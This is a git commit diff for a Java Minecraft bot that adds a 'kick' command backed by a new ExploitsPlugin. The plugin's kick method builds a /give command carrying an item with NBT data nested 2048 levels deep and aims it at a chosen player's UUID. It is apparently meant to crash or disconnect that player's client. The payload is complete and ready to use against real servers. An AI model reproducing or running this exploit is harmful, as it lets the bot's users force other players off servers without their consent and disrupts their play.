add kick !!!!
This commit is contained in:
parent
6a768caae3
commit
8750f5e2d6
4 changed files with 91 additions and 0 deletions
|
@ -61,6 +61,7 @@ public class Bot {
|
|||
@Getter private GrepLogPlugin grepLog;
|
||||
@Getter private CloopPlugin cloop;
|
||||
@Getter private MazePlugin maze;
|
||||
@Getter private ExploitsPlugin exploits;
|
||||
|
||||
public Bot (String host, int port, String _username, boolean kaboom, String serverName, boolean useChat, boolean hasEssentials, List<Bot> allBots, Configuration config) {
|
||||
this.host = host;
|
||||
|
@ -101,6 +102,7 @@ public class Bot {
|
|||
this.grepLog = new GrepLogPlugin(this);
|
||||
this.cloop = new CloopPlugin(this);
|
||||
this.maze = new MazePlugin(this);
|
||||
this.exploits = new ExploitsPlugin(this);
|
||||
|
||||
reconnect();
|
||||
}
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
package land.chipmunk.chayapak.chomens_bot.commands;
|
||||
|
||||
import land.chipmunk.chayapak.chomens_bot.Bot;
|
||||
import land.chipmunk.chayapak.chomens_bot.chatParsers.data.MutablePlayerListEntry;
|
||||
import land.chipmunk.chayapak.chomens_bot.command.Command;
|
||||
import land.chipmunk.chayapak.chomens_bot.command.CommandContext;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.format.NamedTextColor;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.UUID;
|
||||
|
||||
public class KickCommand implements Command {
|
||||
public String name() { return "kick"; }
|
||||
|
||||
public String description() {
|
||||
return "Kicks a player";
|
||||
}
|
||||
|
||||
public List<String> usage() {
|
||||
final List<String> usages = new ArrayList<>();
|
||||
usages.add("<{player}>");
|
||||
|
||||
return usages;
|
||||
}
|
||||
|
||||
public List<String> alias() {
|
||||
final List<String> aliases = new ArrayList<>();
|
||||
aliases.add("");
|
||||
|
||||
return aliases;
|
||||
}
|
||||
|
||||
public int trustLevel() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
public Component execute(CommandContext context, String[] args, String[] fullArgs) {
|
||||
final Bot bot = context.bot();
|
||||
|
||||
final MutablePlayerListEntry entry = bot.players().getEntry(String.join(" ", args));
|
||||
|
||||
if (entry == null) return Component.text("Invalid player name").color(NamedTextColor.RED);
|
||||
|
||||
final String name = entry.profile().getName();
|
||||
final UUID uuid = entry.profile().getId();
|
||||
|
||||
context.sendOutput(
|
||||
Component.empty()
|
||||
.append(Component.text("Kicking player "))
|
||||
.append(Component.text(name).color(NamedTextColor.GOLD))
|
||||
);
|
||||
|
||||
bot.exploits().kick(uuid);
|
||||
|
||||
return Component.text("success");
|
||||
}
|
||||
}
|
|
@ -52,6 +52,7 @@ public class CommandHandlerPlugin {
|
|||
registerCommand(new BotUserCommand());
|
||||
registerCommand(new GenerateMazeCommand());
|
||||
registerCommand(new TranslateCommand());
|
||||
registerCommand(new KickCommand());
|
||||
}
|
||||
|
||||
public void registerCommand (Command command) {
|
||||
|
|
|
@ -0,0 +1,29 @@
|
|||
package land.chipmunk.chayapak.chomens_bot.plugins;
|
||||
|
||||
import land.chipmunk.chayapak.chomens_bot.Bot;
|
||||
import land.chipmunk.chayapak.chomens_bot.util.UUIDUtilities;
|
||||
|
||||
import java.util.UUID;
|
||||
|
||||
public class ExploitsPlugin {
|
||||
private final Bot bot;
|
||||
|
||||
public ExploitsPlugin (Bot bot) {
|
||||
this.bot = bot;
|
||||
}
|
||||
|
||||
public void kick (UUID uuid) {
|
||||
|
||||
String nbt = "{a:".repeat(2048) +
|
||||
"''" +
|
||||
"}".repeat(2048);
|
||||
|
||||
bot.core().run(
|
||||
String.format(
|
||||
"minecraft:give %s minecraft:stone%s",
|
||||
UUIDUtilities.selector(uuid),
|
||||
nbt
|
||||
)
|
||||
);
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue